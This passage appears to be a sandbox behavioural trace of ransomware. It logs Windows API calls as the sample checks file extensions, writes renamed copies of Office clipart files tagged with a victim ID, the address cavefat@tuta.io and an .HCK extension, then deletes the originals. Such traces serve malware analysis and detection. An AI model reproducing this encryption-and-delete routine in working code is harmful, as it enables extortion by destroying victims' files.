Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0165.709] lstrlenW (lpString=".jpg") returned 4 [0165.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0165.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0165.709] lstrlenW (lpString=".doc") returned 4 [0165.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.709] lstrlenW (lpString=".docx") returned 5 [0165.709] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0165.709] lstrlenW (lpString=".pdf") returned 4 [0165.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.709] lstrlenW (lpString=".xls") returned 4 [0165.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.709] lstrlenW (lpString=".xlsx") returned 5 [0165.709] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0165.709] lstrlenW (lpString=".ppt") returned 4 [0165.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0165.709] lstrlenW (lpString=".zip") returned 4 [0165.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.709] lstrlenW (lpString=".rar") returned 4 [0165.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.709] lstrlenW (lpString=".bz2") returned 4 [0165.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.709] lstrlenW (lpString=".7z") returned 3 [0165.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0165.709] lstrlenW (lpString=".dbf") returned 4 [0165.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0165.709] lstrlenW (lpString=".1cd") returned 4 [0165.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0165.710] lstrlenW (lpString=".jpg") returned 4 [0165.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.710] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.710] lstrlenW (lpString="J0105246.WMF") returned 12 [0165.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.716] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=19328) returned 1 [0165.716] CloseHandle (hObject=0x370) returned 1 [0165.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220 [0165.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.722] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.722] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.735] GetLastError () returned 0x0 [0165.735] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4b80, lpOverlapped=0x0) returned 1 [0165.736] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4b90, lpOverlapped=0x0) returned 1 [0165.737] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.737] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.737] SetEndOfFile (hFile=0x370) returned 1 [0165.739] CloseHandle (hObject=0x370) returned 1 [0165.740] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.740] SetEndOfFile (hFile=0x364) returned 1 [0165.746] CloseHandle (hObject=0x364) returned 1 [0165.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0165.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0165.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0165.752] lstrlenW (lpString=".doc") returned 4 [0165.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.752] lstrlenW (lpString=".docx") returned 5 [0165.752] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0165.752] lstrlenW (lpString=".pdf") returned 4 [0165.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.752] lstrlenW (lpString=".xls") returned 4 [0165.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.752] lstrlenW (lpString=".xlsx") returned 5 [0165.752] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0165.752] lstrlenW (lpString=".ppt") returned 4 [0165.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0165.752] lstrlenW (lpString=".zip") returned 4 [0165.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.752] lstrlenW (lpString=".rar") returned 4 [0165.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.752] lstrlenW (lpString=".bz2") returned 4 [0165.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.752] lstrlenW (lpString=".7z") returned 3 [0165.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0165.752] lstrlenW (lpString=".dbf") returned 4 [0165.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0165.752] lstrlenW (lpString=".1cd") returned 4 [0165.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0165.752] lstrlenW (lpString=".jpg") returned 4 [0165.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0165.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0165.752] lstrlenW (lpString=".doc") returned 4 [0165.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.752] lstrlenW (lpString=".docx") returned 5 [0165.752] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0165.752] lstrlenW (lpString=".pdf") returned 4 [0165.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.752] lstrlenW (lpString=".xls") returned 4 [0165.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.752] lstrlenW (lpString=".xlsx") returned 5 [0165.752] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0165.752] lstrlenW (lpString=".ppt") returned 4 [0165.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0165.752] lstrlenW (lpString=".zip") returned 4 [0165.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.752] lstrlenW (lpString=".rar") returned 4 [0165.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.752] lstrlenW (lpString=".bz2") returned 4 [0165.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.753] lstrlenW (lpString=".7z") returned 3 [0165.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0165.753] lstrlenW (lpString=".dbf") returned 4 [0165.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0165.753] lstrlenW (lpString=".1cd") returned 4 [0165.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0165.753] lstrlenW (lpString=".jpg") returned 4 [0165.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.753] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.753] lstrlenW (lpString="J0105276.WMF") returned 12 [0165.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0165.761] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=19240) returned 1 [0165.761] CloseHandle (hObject=0x3ac) returned 1 [0165.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220 [0165.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0165.772] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.772] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0165.780] GetLastError () returned 0x0 [0165.780] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4b28, lpOverlapped=0x0) returned 1 [0165.788] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4b30, lpOverlapped=0x0) returned 1 [0165.789] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.789] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.789] SetEndOfFile (hFile=0x360) returned 1 [0165.790] CloseHandle (hObject=0x360) returned 1 [0165.791] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.791] SetEndOfFile (hFile=0x368) returned 1 [0165.796] CloseHandle (hObject=0x368) returned 1 [0165.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0165.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0165.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0165.801] lstrlenW (lpString=".doc") returned 4 [0165.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.801] lstrlenW (lpString=".docx") returned 5 [0165.801] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0165.801] lstrlenW (lpString=".pdf") returned 4 [0165.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.801] lstrlenW (lpString=".xls") returned 4 [0165.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.801] lstrlenW (lpString=".xlsx") returned 5 [0165.801] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0165.801] lstrlenW (lpString=".ppt") returned 4 [0165.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0165.801] lstrlenW (lpString=".zip") returned 4 [0165.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.801] lstrlenW (lpString=".rar") returned 4 [0165.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.801] lstrlenW (lpString=".bz2") returned 4 [0165.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.801] lstrlenW (lpString=".7z") returned 3 [0165.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0165.801] lstrlenW (lpString=".dbf") returned 4 [0165.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0165.801] lstrlenW (lpString=".1cd") returned 4 [0165.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0165.801] lstrlenW (lpString=".jpg") returned 4 [0165.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0165.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0165.801] lstrlenW (lpString=".doc") returned 4 [0165.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.801] lstrlenW (lpString=".docx") returned 5 [0165.801] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0165.801] lstrlenW (lpString=".pdf") returned 4 [0165.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.801] lstrlenW (lpString=".xls") returned 4 [0165.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.801] lstrlenW (lpString=".xlsx") returned 5 [0165.801] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0165.802] lstrlenW (lpString=".ppt") returned 4 [0165.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0165.802] lstrlenW (lpString=".zip") returned 4 [0165.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.802] lstrlenW (lpString=".rar") returned 4 [0165.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.802] lstrlenW (lpString=".bz2") returned 4 [0165.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.802] lstrlenW (lpString=".7z") returned 3 [0165.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0165.802] lstrlenW (lpString=".dbf") returned 4 [0165.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0165.802] lstrlenW (lpString=".1cd") returned 4 [0165.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0165.802] lstrlenW (lpString=".jpg") returned 4 [0165.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.802] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.802] lstrlenW (lpString="J0105288.WMF") returned 12 [0165.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0165.806] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=15832) returned 1 [0165.806] CloseHandle (hObject=0x368) returned 1 [0165.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220 [0165.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0165.919] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.919] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.091] GetLastError () returned 0x0 [0166.091] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3dd8, lpOverlapped=0x0) returned 1 [0166.096] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3de0, lpOverlapped=0x0) returned 1 [0166.096] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.097] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.097] SetEndOfFile (hFile=0x364) returned 1 [0166.107] CloseHandle (hObject=0x364) returned 1 [0166.109] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.109] SetEndOfFile (hFile=0x368) returned 1 [0166.116] CloseHandle (hObject=0x368) returned 1 [0166.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0166.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0166.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0166.118] lstrlenW (lpString=".doc") returned 4 [0166.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.118] lstrlenW (lpString=".docx") returned 5 [0166.118] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.118] lstrlenW (lpString=".pdf") returned 4 [0166.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.118] lstrlenW (lpString=".xls") returned 4 [0166.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.118] lstrlenW (lpString=".xlsx") returned 5 [0166.118] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.118] lstrlenW (lpString=".ppt") returned 4 [0166.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0166.118] lstrlenW (lpString=".zip") returned 4 [0166.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.118] lstrlenW (lpString=".rar") returned 4 [0166.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.118] lstrlenW (lpString=".bz2") returned 4 [0166.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.118] lstrlenW (lpString=".7z") returned 3 [0166.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0166.118] lstrlenW (lpString=".dbf") returned 4 [0166.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0166.118] lstrlenW (lpString=".1cd") returned 4 [0166.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0166.118] lstrlenW (lpString=".jpg") returned 4 [0166.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0166.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0166.118] lstrlenW (lpString=".doc") returned 4 [0166.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.118] lstrlenW (lpString=".docx") returned 5 [0166.118] lstrcmpiW (lpString1=".docx", 